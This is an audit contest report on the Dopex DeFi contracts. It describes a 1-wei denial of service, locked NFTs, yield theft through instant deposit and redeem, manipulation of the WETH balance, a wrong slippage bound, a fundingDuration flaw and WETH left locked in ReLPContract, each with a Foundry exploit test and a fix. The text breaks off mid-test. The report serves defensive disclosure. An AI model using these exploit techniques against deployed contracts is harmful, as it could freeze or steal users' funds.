Dopex - bart1e's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L200-L203 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L772-L774 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L359-L361

Vulnerability details

When options are settled, WETH is transferred from the PerpetualAtlanticVaultLP and RDPX is transferred to that contract. This logic is performed in PerpetualAtlanticVault::settle function, which will additionally call PerpetualAtlanticVaultLP::subtractLoss in order to account WETH loss:

  function settle(
    uint256[] memory optionIds
  )
    external
    nonReentrant
    onlyRole(RDPXV2CORE_ROLE)
    returns (uint256 ethAmount, uint256 rdpxAmount)
  {
    [...]

    // Transfer collateral token from perpetual vault to rdpx rdpxV2Core
    collateralToken.safeTransferFrom(
      addresses.perpetualAtlanticVaultLP,
      addresses.rdpxV2Core,
      ethAmount
    );
    // Transfer rdpx from rdpx rdpxV2Core to perpetual vault
    IERC20WithBurn(addresses.rdpx).safeTransferFrom(
      addresses.rdpxV2Core,
      addresses.perpetualAtlanticVaultLP,
      rdpxAmount
    );


    IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(
      ethAmount
    );
    [...]
  }

PerpetualAtlanticVaultLP::subtractLoss looks like this:

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

As can be seen, it requires that collateral.balanceOf(address(this)) == _totalCollateral - loss. _totalCollateral is a collateral balance internally accounted in the contract. It is updated when the following functions are called:

• deposit
• addProceeds
• subtractLoss
• beforeWithdraw

However, it is not updated when someone transfers WETH directly to the contract. If someone just transfers 1 Wei of WETH it will be sufficient to cause revert in the subtractLoss function as it demands equality between collateral.balanceOf(address(this)) and _totalCollateral - loss and now, collateral.balanceOf(address(this)) will be greater.

It won't be possible to recover, since when all possible withdrawals are made, both _totalCollateral and collateral.balanceOf(address(this)) are updated with the same values. It's also impossible to withdraw that extra WETH by PerpetualAtlanticVault contract (which has an infinite allowance) since it only does transferFrom from PerpetualAtlanticVaultLP in the settle function and this function will revert as we already know (even if it didn't, it would still call subtractLoss that would also update _totalCollateral, so it still wouldn't be equal to collateral.balanceOf(address(this))).

Impact

Anyone can block very important functionality (settling options) with virtually no cost (1 Wei + gas fee).

Proof of Concept

function testSubtractLossRevert() public
  {
    uint[] memory ids = new uint[](1);
    ids[0] = 0;
    vault.addToContractWhitelist(address(rdpxV2Core));
    rdpxV2Core.bond(1 * 1e18, 0, address(this));
    rdpxV2Core.bond(1 * 2e18, 0, address(this));
    
    // change rdpx price to a random value lower than the strike price
    rdpxPriceOracle.updateRdpxPrice(1);

    // we will successfully settle option with id = 0
    rdpxV2Core.settle(ids);

    // now attacker transfers 1 Wei of WETH, so that `subtractLoss` will revert
    weth.transfer(address(vaultLp), 1);
    ids[0] = 1;
    vm.expectRevert("Not enough collateral was sent out");
    rdpxV2Core.settle(ids);
  }

Tools Used

VS Code

Recommended Mitigation Steps

Either remove the require statement from subtractLoss entirely (it's only called right away after WETH transfer to PerpetualAtlanticVaultLP, so there is no need to perform this check) or change the condition in the require from == to >=.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV3LiquidityAmo.sol#L324-L334 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1-L1308

Vulnerability details

UniV3LiquidityAMO::recoverERC721 is a function created in order to be able to recover ERC721 tokens from the UniV3LiquidityAMO contract. It can only be called by admin and will transfer all ERC721 tokens to the RdpxV2Core contract. The problem is, that it won't be possible to do anything with these tokens after they are transferred to rdpxV2Core.

Indeed, RdpxV2Core inherits from the following contracts:

• AccessControl,
• ContractWhitelist,
• ERC721Holder,
• Pausable

and no contract from this list implement any logic allowing the NFT transfer (only ERC721Holder has something to do with NFTs, but it only allows to receive them, not to approve or transfer).

Moreover, rdpxV2Core also doesn't have any logic allowing transfer or approval of NFTs:

• there is no generic execute function there
• no function implemented is related to ERC721 tokens (except for onERC721Received inherited from ERC721Holder)
• it may seem possible to do a dirty hack and try to use approveContractToSpend in order to approve ERC721 token. Theoretically, one would have to specify ERC721 tokenId instead of ERC20 token amount, so that IERC20WithBurn(_token).approve(_spender, _amount); in fact approves ERC721 token with tokenId == _amount, but it fails with [FAIL. Reason: EvmError: Revert] and even if it didn't, it still wouldn't be possible to transfer ERC721 token with tokenId == 0 since there is _validate(_amount > 0, 17); inside approveContractToSpend

Impact

UniV3LiquidityAMO::recoverERC721 instead of recovering ERC721, locks all tokens in rdpxV2Core and it won't be possible to recover them from that contract.

Any use of recoverERC721 will imply an irrecoverable loss for the protocol and this function was implemented in order to be used at some point after all (even if only on emergency situations). Because of that, I'm submitting this issue as High.

Proof of Concept

This PoC only shows that ERC721 token recovery will not be possible by calling RdpxV2Core::approveContractToSpend. Lack of functions doing transfer or approve or any other ERC721 related functions in RdpxV2Core may just be observed by looking at the contract's code.

Please create the MockERC721.sol file in mocks directory and with the following code:

pragma solidity ^0.8.19;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract MockERC721 is ERC721
{
    constructor() ERC721("...", "...")
    {

    }

    function giveNFT() public
    {
        _mint(msg.sender, 1);
    }
}

It will just mint an ERC721 token with tokenId = 1. Please also run the following test:

  function testNFT() public
  {
    // needed `import "../../contracts/mocks/MockERC721.sol";` at the beginning of the file

    MockERC721 mockERC721 = new MockERC721();
    mockERC721.giveNFT();
    mockERC721.transferFrom(address(this), address(rdpxV2Core), 1);
    
    // approveContractToSpend won't be possible to use
    vm.expectRevert();
    rdpxV2Core.approveContractToSpend(address(mockERC721), address(this), 1);
  }

Tools Used

VS Code

Recommended Mitigation Steps

Either implement additional ERC721 recovery function in RdpxV2Core or change UniV3LiquidityAMO::recoverERC721 so that it transfers all NFTs to msg.sender instead of RdpxV2Core contract.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118-L175

Vulnerability details

PerpetualAtlanticVaultLP is a contract in which users can stake their WETH in order to earn some incentives, such as premium for options. Funding for PerpetualAtlanticVaultLP is provided in the PerpetualAtlanticVault::updateFunding function which will transfer (currentFundingRate * (block.timestamp - startTime)) / 1e18 of WETH to PerpetualAtlanticVaultLP:

  function updateFunding() public {
    updateFundingPaymentPointer();
    
    [...]
    collateralToken.safeTransfer(
      addresses.perpetualAtlanticVaultLP,
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );


    IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addProceeds(
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );
    [...]
  }

The problem is, however, that users may unstake (call PerpetualAtlanticVaultLP::redeem) at any time, which creates arbitrage opportunities.

Indeed, PerpetualAtlanticVaultLP::deposit function will call perpetualAtlanticVault.updateFunding() by itself after it calculated the number for shares to the user:

  function deposit(
    uint256 assets,
    address receiver
  ) public virtual returns (uint256 shares) {
    // Check for rounding error since we round down in previewDeposit.
    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");


    perpetualAtlanticVault.updateFunding();


    // Need to transfer before minting or ERC777s could reenter.
    collateral.transferFrom(msg.sender, address(this), assets);


    _mint(receiver, shares);


    _totalCollateral += assets;


    emit Deposit(msg.sender, receiver, assets, shares);
  }

redeem, on the other hand has no mechanism stopping users from unstaking at any moment they want, including the same block when they staked. It means, that, if user unstakes (calls redeem) right after calling deposit, he will receive more money than he paid in deposit since new funding was provided in the perpetualAtlanticVault.updateFunding() call. So, essentially, he will steal some yield earned by other users who staked for a potentially long time.

Impact

Anyone can steal some yield from users who already stake WETH in the protocol for potentially long time. This is a very easy arbitrage opportunity which will be exploited by arbitrage bots, so that legitimate users who stake will receive less or even no yield.

However, staking WETH is essential for the protocol as it allows the protocol to buy options when RDPX price drops. If users aren't incentivised to stake (which will be the case now), then the entire protocol will not function well as it will not be able to create and settle new options.

Redeployment of PerpetualAtlanticVaultLP is not an option because it will already have some users staking and some collateral locked for buying options, so it won't be possible to recover.

Since the impact is high (users not incentivised to staking means no ability for the protocol to create and settle options), attack is very easy and the recovery isn't possible, I'm submitting this issue as High.

Proof of Concept

  function testDepositWithdraw() public
  {
    // give some tokens to Alice and Bob
    address alice = address(0x1111);
    address bob = address(0x2222);

    weth.mint(alice, 100 ether);
    weth.mint(bob, 100 ether);

    // Alice deposits 100 WETH
    vm.startPrank(alice);
    weth.approve(address(vaultLp), type(uint).max);
    vaultLp.deposit(100 ether, alice);
    vm.stopPrank();

    vm.prank(bob);
    weth.approve(address(vaultLp), type(uint).max);
    
    // some setup
    rdpx.mint(address(rdpxReserveContract), 1000 ether);
    rdpxV2Core.bond(100 * 1e18, 0, address(this));
    vault.addToContractWhitelist(address(rdpxV2Core));
    
    // we move to the next epoch
    vm.warp(block.timestamp + 7 days);

    // calculate and provide funding as usual
    uint[] memory strikes = new uint[](1);
    strikes[0] = 15000000;
    vault.calculateFunding(strikes);
    rdpxV2Core.provideFunding();
    vault.updateFunding();
    vm.warp(block.timestamp + 6 days);
    
    // now, Bob takes advantage of the opportunity and stakes and immediately unstakes his WETH
    vm.startPrank(bob);
    uint shares = vaultLp.deposit(100 ether, bob);
    (uint receivedWETH,) = vaultLp.redeem(shares, bob, bob);
    vm.stopPrank();
    console.log("receivedWETH:", receivedWETH);
    console.log("Bob earned", receivedWETH - 100 ether, "WETH");
  }

Tools Used

VS Code

Recommended Mitigation Steps

Introduce a minimum staking period in PerpetualAtlanticVaultLP, of 1 week, for example, so that users are forced to stake for some time and cannot just stake and then immediately unstake without giving anything to the protocol.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L953-L964 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L803-L803 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1110 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1001-L1004

Vulnerability details

RdpxV2Core internally stores balances of assets it contains, in the reserveAsset mapping. WETH is treated differently than other assets, since in the sync function that updates all token balances, there is a following code:

      if (weth == reserveAsset[i].tokenAddress) {
        balance = balance - totalWethDelegated;
      }
      reserveAsset[i].tokenBalance = balance;

It is because it is possible to delegate WETH to the contract and we don't want to count delegated WETH (stored in totalWethDelegated) as rdpxV2Core's balance. totalWethDelegated is increased when someone calls addToDelegate and decreased when someone uses delegated WETH in order to create bonds. However, it is not decreased when user undelegates WETH (by calling withdraw). It means that if user delegates 100 WETH and calls withdraw right after that (or at any point in the future), totalWethDelegated will still equal 100 WETH.

It allows any user to increase totalWethDelegated to any value he wants at almost zero cost (only gas fees). Additionally, the sync function is permissionless, so anyone can call it and potentially even zero out reserveAsset[reservesIndex["WETH"]].tokenBalance, because of balance = balance - totalWethDelegated in case weth == reserveAsset[i].tokenAddress.

Impact

Anyone can manipulate internal WETH balance of rdpxV2Core and can even zero it out at almost no cost (only gas fees). It means that functions that decrease the internal WETH balance will revert with integer underflow. These functions include: provideFunding and lowerDepeg, which are essential since lowerDepeg helps to maintain dpxETH-ETH peg and provideFunding has to be called at each epoch.

Proof of Concept

  function testWETHBalance() public
  {
    // deposit some WETH into `rdpxV2Core`
    rdpxV2Core.bond(1 * 1e18, 0, address(this));
    uint wethBalance = weth.balanceOf(address(rdpxV2Core));
    (, uint reserveAssetWETHBalance, string memory symbol) = rdpxV2Core.reserveAsset(2);

    // log symbol in order to prove that it's WETH
    console.log("Symbol =", symbol);
    assert(reserveAssetWETHBalance != 0);

    // delegate `rdpxV2Core`'s WETH balance and undelegate the entire balance right after that
    uint index = rdpxV2Core.addToDelegate(wethBalance, 1e8);
    rdpxV2Core.withdraw(index);
    // call sync in order to zero out WETH balance stored in the reserve mapping
    rdpxV2Core.sync();
    
    // reserve mapping will return 0 as WETH balance although it's non-zero
    (, reserveAssetWETHBalance, symbol) = rdpxV2Core.reserveAsset(2);
    assert(reserveAssetWETHBalance == 0);

    dpxEthPriceOracle.updateDpxEthPrice(9e7);
    vm.expectRevert();
    // will revert with arithmetic underflow
    rdpxV2Core.lowerDepeg(0, 1e18, 0, 0);
  }

Tools Used

VS Code

Recommended Mitigation Steps

Decrease totalWethDelegated when user calls withdraw.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L544-L558 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/reLP/ReLPContract.sol#L273-L275

Vulnerability details

When dpxETH depegs, then either upperDepeg or lowerDepeg can be called in order to bring back dpxETH-ETH peg. Both functions internally call _curveSwap, which performs a swap on Curve. minOut is one of the parameters passed to Curve and is used in order to protect protocol from too big slippage. However, it is calculated incorrectly.

It is calculated in the following way:

    uint256 minOut = _ethToDpxEth
      ? (((_amount * getDpxEthPrice()) / 1e8) -
        (((_amount * getDpxEthPrice()) * slippageTolerance) / 1e16))
      : (((_amount * getEthPrice()) / 1e8) -
        (((_amount * getEthPrice()) * slippageTolerance) / 1e16));

Assume that 1 dpxETH = 1.25 ETH in order to illustrate that. Also, assume that slippageTolerance = 0.5%. Then, if we want to swap 1 ETH for dpxETH, minOut will equal 1.25 - 1.25 * 0.005 = 1.24375 (t's because getDpxEthPrice returns dpxETH price in ETH instead of the other way around). So, in the scenario when 1 dpxETH = 1.25 ETH <=> 0.8 dpxETH = 1 ETH, _curveSwap function will demand at least 1.24375 dpxETH for 1 ETH while the price of 1 ETH is 0.8 dpxETH. In reality, we would like to swap dpxETH for ETH in case 1 dpxETH = 1.25 ETH, but it can be easily calculated that in that case, minOut = 0.796, instead of 1.24375 (we swap 1 dpxETH = 1.25 ETH and we only demand 0.796 ETH in return).

In the given example, minOut will equal 0.796 instead of 1.24375, which is 36.32% slippage instead of 0.5%. In reality, however, upperDepeg and lowerDepeg will probably be called when the dpxETH price is 1% off and in such a case, minOut = 0.985 instead of 1.005, which is ~2.5% slippage instead of 0.5%. Anyway, the slippage will be too big.

Note: Similar error is present in the ReLPContract::reLP function when mintokenAAmount is calculated for the second time (see the second link I've provided at the beginning).

Impact

Swaps on Curve will have incorrect minOut which will open up arbitrage opportunities and will make it possible that the protocol will just receive less money than it should each time swaps are performed.

Proof of Concept

Please set the function _curveSwap to public (not necessary, but will be easier to test this way, so that we don't have to call upperDepeg or lowerDepeg). The point of this test is to show that minOut is calculated incorrectly and the test shows the scenario where we swap ETH for dpxETH where 1 dpxETH = 1.25 ETH (in reality, the opposite swap would be performed as I wrote earlier, but the point of this test is just to show that minOut is calculated incorrectly).

  function testCurveSlippage() public
  {
    // requires `RdpxV2Core::_curveSwap` to be set to public
    
    dpxEthPriceOracle.updateDpxEthPrice(125 * 1e6); // 1 dpxETH = 1.25 ETH, 1 ETH = 0.8 dpxETH
    weth.mint(address(rdpxV2Core), 1 ether);

    // Curve swap should give slightly less than 1 dpxETH for 1 ETH since the liquidity is still
    // - 200 dpxETH
    // - 200 WETH
    // we don't have to modify Curve pool liquidity so that it reflects the price change
    // the goal of this test is only to show that if 1 dpxETH if worth more than 1 ETH,
    // then `rdpxV2Core` will expect more than 1 dpxETH for 1 ETH, which is an incorrect behaviour
    // in the given example, if 1 dpxETH = 1.25 ETH, then we should expect to get at least 0.796 dpxETH
    // for 1 ETH, but `rdpxV2Core` will expect 1.24375

    // `rdpxV2Core` expects to get at least 1.24375 dpxETH for 1 ETH
    // we would get ~1 dpxETH since I didn't change ETH-dpxETH ratio in the pool, but `_curveSwap` will
    // still reject it
    vm.expectRevert("Exchange resulted in fewer coins than expected");
    rdpxV2Core._curveSwap(1 ether, true, false, 0);
    
    uint correctMinOut = 995 * dpxEthPriceOracle.getEthPriceInDpxEth() * 1e18 / (1000 * 1e8);
    console.log("correctMinOut =", correctMinOut);
    
    uint prevBalance = dpxETH.balanceOf(address(this));
    // but we should realistically expect to get at least 0.796 dpxETH
    IStableSwap(curvePool).exchange(0, 1, 1 ether, correctMinOut);
    console.log("received dpxETH:", dpxETH.balanceOf(address(this)) - prevBalance);
  }

Tools Used

VS Code

Recommended Mitigation Steps

Change:

    uint256 minOut = _ethToDpxEth
      ? (((_amount * getDpxEthPrice()) / 1e8) -
        (((_amount * getDpxEthPrice()) * slippageTolerance) / 1e16))
      : (((_amount * getEthPrice()) / 1e8) -
        (((_amount * getEthPrice()) * slippageTolerance) / 1e16));

to:

    uint256 minOut = _ethToDpxEth
      ? (((_amount * getEthPrice()) / 1e8) -
        (((_amount * getEthPrice()) * slippageTolerance) / 1e16))
      : (((_amount * getDpxEthPrice()) / 1e8) -
        (((_amount * getDpxEthPrice()) * slippageTolerance) / 1e16));

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L237-L241 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L462-L496 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L596-L612 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L283-L286

Vulnerability details

PerpetualAtlanticVault::updateFundingDuration may introduce many problems. There are two cases to consider:

• when it's changed to lower value
• when it's changed to higher value

I will describe one problem than may arise from each category.

In case fundingDuration is decreased, the following scenario may happen: Too small or too much money may be sent out in updateFundingPaymentPointer. It's because fundingRates[latestFundingPaymentPointer] is not updated when fundingDuration is updated, so it contains old value. For instance, when:

1. latestFundingPaymentPointer = 2 (so we have second "epoch")
2. Previous fundingDuration was 6 and it was just changed to 5
3. Current block is on 11th day
4. fundingRates[2] = 10
5. lastUpdateTime was on 11th day,

then updateFundingPaymentPointer will increment latestFundingPaymentPointer, so that nextFundingPaymentTimestamp returns 15 instead of 12 returned so far. For simplicity (without loss of generality), assume that nothing more happened in current "epoch", that is, for the next 4 days until the day 16.

Then someone will call updateFundingPaymentPointer, or any other function that calls this function. updateFundingPaymentPointer looks as follows:

  function updateFundingPaymentPointer() public {
    while (block.timestamp >= nextFundingPaymentTimestamp()) {
      if (lastUpdateTime < nextFundingPaymentTimestamp()) {
        uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer];


        uint256 startTime = lastUpdateTime == 0
          ? (nextFundingPaymentTimestamp() - fundingDuration)
          : lastUpdateTime;


        lastUpdateTime = nextFundingPaymentTimestamp();


        collateralToken.safeTransfer(
          addresses.perpetualAtlanticVaultLP,
          (currentFundingRate * (nextFundingPaymentTimestamp() - startTime)) /
            1e18
        );


        IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP)
          .addProceeds(
            (currentFundingRate * (nextFundingPaymentTimestamp() - startTime)) /
              1e18
          );


        emit FundingPaid(
          msg.sender,
          ((currentFundingRate * (nextFundingPaymentTimestamp() - startTime)) /
            1e18),
          latestFundingPaymentPointer
        );
      }


      latestFundingPaymentPointer += 1;
      emit FundingPaymentPointerUpdated(latestFundingPaymentPointer);
    }
  }

So, control flow will enter the if clause (lastUpdateTime is still somewhere in the 11th day). So, startTime will be set to ~11 days and lastUpdateTime to 15. Then currentFundingRate * (15 days - 11 days) = 10 * 4 days of WETH will be transfered, although only currentFundingRate * (12 days - 11 days) = 10 * 1 days of WETH is required (nothing more happened to the contract, so no more funding is required than in case fundingDuration wasn't changed at all - fundingRates is calculated by taking the total amount that has to be paid for epoch and divided by the epoch length, so since the amount that has to be paid hasn't changed, but we have longer duration, then if fundingRates hasn't changed, we are paying more than necessary - 4 times more in the example given).

Similarly, PerpetualAtlanticVault may pay to little, when, for example, latestFundingPaymentPointer = 2, lastUpdateTime = 11 days and fundingDuration was changed from 7 to 6 (nextFundingPaymentTimestamp will then return 12, so only currentFundingRate * 1 days of WETH will be transferred instead of currentFundingRate * 3 days).

When fundingDuration is changed to a higher value the same things can happen. Moreover, updateFundingPaymentPointer will be just returning without updating latestFundingPaymentPointer, which means that the current "epoch" may become very long. For instance, when latestFundingPaymentPointer = 100, current block.timestamp is on 700 days from genesis, and we change fundingDuration from 7 to 8, then nextFundingPaymentTimestamp will return 800, which means that current "epoch" instead of lasting 8 days will last 100 days. In addition to the problem about paying too much or too little to perpetualAtlanticVaultLP mentioned above, also the purchase function will calculate wrong price since timeToExpiry will equal 100 days instead of roughly 8.

There are more problems related to changing value of fundingDuration. For example, when fundingDuration is decreased, then payFunding may underflow, since endTime in _updateFundingRate will be lower than startTime.

It's impractical to list all potential issues here as they depend on different factors, such as:

• the order of function calls in PerpetualAtlanticVault
• whether lastUpdateTime = 0 or not
• number of changes to fundingRates in a certain "epoch"
• etc.

Impact

Many different issues may arise. Some of them are:

• sending more / less funding than necessary
• wrong premium calculation in purchase
• integer underflow in payFunding

Proof of Concept

function testFundingDurationChange() public
  {
    /*
      This test shows incorrect behaviour in the `purchase` function after `fundingDuration` is changed.
      IMPORTANT: it is necessary to insert `console.log("timeToExpiry = ", timeToExpiry / 1 days);` 
      in `PerpetualAtlanticVault::purchase` below the following line:
      `uint256 timeToExpiry = nextFundingPaymentTimestamp() - block.timestamp;`.
      
      It's because in tests, `MockOptionPricing` is used in order to call `getOptionPrice`
      and it ignores the inputs and always returns the same value. In reality, however, `timeToExpiry` will
      have an influence on the value returned, so this test just shows that `timeToExpiry` will be far too big -
      107 instead of 8.
    */
    vm.warp(block.timestamp + 7 days * 100);

    vault.updateFundingPaymentPointer();
    vault.updateFundingDuration(8 days);
    vault.updateFundingPaymentPointer();

    rdpxV2Core.bond(1 * 1e18, 0, address(this));
  }

Tools Used

VS Code

Recommended Mitigation Steps

Set fundingDuration to a constant value that cannot be changed, since fundingDuration change will introduce many nasty problems.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/reLP/ReLPContract.sol#L202-L307

Vulnerability details

The ReLPContract::reLP function can be called by the RdpxV2Core contract when bonds are created in order to increase RDPX price in Uniswap V2 RDPX-WETH pool:

  function reLP(uint256 _amount) external onlyRole(RDPXV2CORE_ROLE) {

    [...]
    // transfer LP tokens from the AMO
    IERC20WithBurn(addresses.pair).transferFrom(
      addresses.amo,
      address(this),
      lpToRemove
    );

    [...]
    (, uint256 amountB) = IUniswapV2Router(addresses.ammRouter).removeLiquidity(
      addresses.tokenA,
      addresses.tokenB,
      lpToRemove,
      mintokenAAmount,
      mintokenBAmount,
      address(this),
      block.timestamp + 10
    );

    [...]
    uint256 tokenAAmountOut = IUniswapV2Router(addresses.ammRouter)
      .swapExactTokensForTokens(
        amountB / 2,
        mintokenAAmount,
        path,
        address(this),
        block.timestamp + 10
      )[path.length - 1];


    (, , uint256 lp) = IUniswapV2Router(addresses.ammRouter).addLiquidity(
      addresses.tokenA,
      addresses.tokenB,
      tokenAAmountOut,
      amountB / 2,
      0,
      0,
      address(this),
      block.timestamp + 10
    );


    // transfer the lp to the amo
    IERC20WithBurn(addresses.pair).safeTransfer(addresses.amo, lp);
    IUniV2LiquidityAmo(addresses.amo).sync();


    // transfer rdpx to rdpxV2Core
    IERC20WithBurn(addresses.tokenA).safeTransfer(
      addresses.rdpxV2Core,
      IERC20WithBurn(addresses.tokenA).balanceOf(address(this))
    );
    IRdpxV2Core(addresses.rdpxV2Core).sync();
  }

As can be observed, it will do the following things:

1. Remove some liquidity from the pool.
2. Use half of received WETH and will perform a swap for RDPX in order to increase its price.
3. Use the second half of received WETH (from the point 1. and received RDPX from point 2.) in order to add new liquidity to the pool.
4. Then, it will transfer out received LP tokens and remaining RDPX tokens.

The problem is that there will still be some WETH in the contract that isn't transferred out and it will be locked forever.

In order to observe this, let's trace the number of WETH in the contract assuming that at the beginning of reLP it was 0: Contract will first receive some WETH from removing liquidity in the Uniswap pool, but it will then will try to use the entire amount on a swap and liquidity provision. The problem is, that when IUniswapV2Router(addresses.ammRouter).addLiquidity is called, it doesn't guarantee that it will use the entire WETH provided, and in fact, it will not.

To see this, let's look at UniswapV2Router::addliquidity (https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol):

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
        (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
        address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
        TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
        TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
        liquidity = IUniswapV2Pair(pair).mint(to);
    }

As we see, it will call _addLiquidity to get amounts of tokens to really be transferred. _addLiquitidy is shown below:

    function _addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin
    ) internal virtual returns (uint amountA, uint amountB) {
        [...]
        (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
        if (reserveA == 0 && reserveB == 0) {
            (amountA, amountB) = (amountADesired, amountBDesired);
        } else {
            uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
            if (amountBOptimal <= amountBDesired) {
                require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
                (amountA, amountB) = (amountADesired, amountBOptimal);
            } else {
                uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
                assert(amountAOptimal <= amountADesired);
                require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
                (amountA, amountB) = (amountAOptimal, amountBDesired);
            }
        }
    }

Since reserveA and reserveB will not be 0 (ReLPContract will not remove entire liquidity), we will enter the else block.

Since addLiquidity is called by ReLPContract with amountAMin == amountBMin == 0, the following code from _addLiquidity will successfully execute:

            uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
            if (amountBOptimal <= amountBDesired) {
                require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
                (amountA, amountB) = (amountADesired, amountBOptimal);

So, it will take desired amount of RDPX and UniswapV2Library.quote will return less WETH than specified, but since it will be >= amountBMin == 0, the function will return successfully.

So, at the end of the day, less WETH than specified will be transferred to Uniswap pool, hence this extra WETH will remain in the ReLPContract.

Since ReLPContract doesn't have any "emergency withdraw" functions and it only approves WETH to Uniswap, that WETH will be locked forever and the amount of WETH will only grow on each subsequent call to ReLPContract::reLP.

Impact

WETH will be locked forever in the ReLPContract and it will accumulate there after each call to reLP. The test in the PoC that I'm providing shows that if we have reasonable parameters:

• 100e18 RDPX liquidity is in the pool
• 20e18 WETH liquidity is in the pool
• bond is created with the amount of 1e18,

then the amount of WETH locked is > 0.01 (1e16), which definitely isn't negligible, especially that it will accumulate there after each reLP call.

So, if we have multiple calls to bond or bondWithDelegate, the amount of WETH locked may even exceed hundreds of WETH, which is a lot.

In order to mitigate this issue RdpxV2Core::setIsreLP may be set to false, but then the entire ReLPContract will be useless. The only reason I'm submitting this as Medium is that ReLPContract could be redeployed (the question is, however, how big a loss to the protocol would be until someone notices the leak of WETH and reacts).

Proof of Concept

function testLockedWETH() public
  {
    uniV2LiquidityAMO = new UniV2LiquidityAMO();

    // set addresses
    uniV2LiquidityAMO.setAddresses(
      address(rdpx),
      address(weth),
      address(pair),
      address(rdpxV2Core),
      address(rdpxPriceOracle),
      address(factory),
      address(router)
    );
    rdpxV2Core.addAMOAddress(address(uniV2LiquidityAMO));

    rdpxV2Core.approveContractToSpend(
      address(rdpx),
      address(uniV2LiquidityAMO),
      type(uint256).max
    );

    rdpxV2Core.approveContractToSpend(
      address(weth),
      address(uniV2LiquidityAMO),
      type(uint256).max
    );

    rdpx.transfer(address(rdpxV2Core), 150e18);
    weth.transfer(address(rdpxV2Core), 50e18);

    // add liquidity
    uniV2LiquidityAMO.addLiquidity(100e18, 20e18, 0, 0);

    uniV2LiquidityAMO.approveContractToSpend(address(pair), address(reLpContract), type(uint).max);

    reLpContract.setAddresses(
      address(rdpx),
      address(weth),
      address(pair),
      address(rdpxV2Core),
      address(rdpxReserveContract),
      address(uniV2LiquidityAMO),
      address(rdpxPriceOracle),
      address(factory),
      address(router)
    );

    reLpContract.setreLpFactor(9e4);
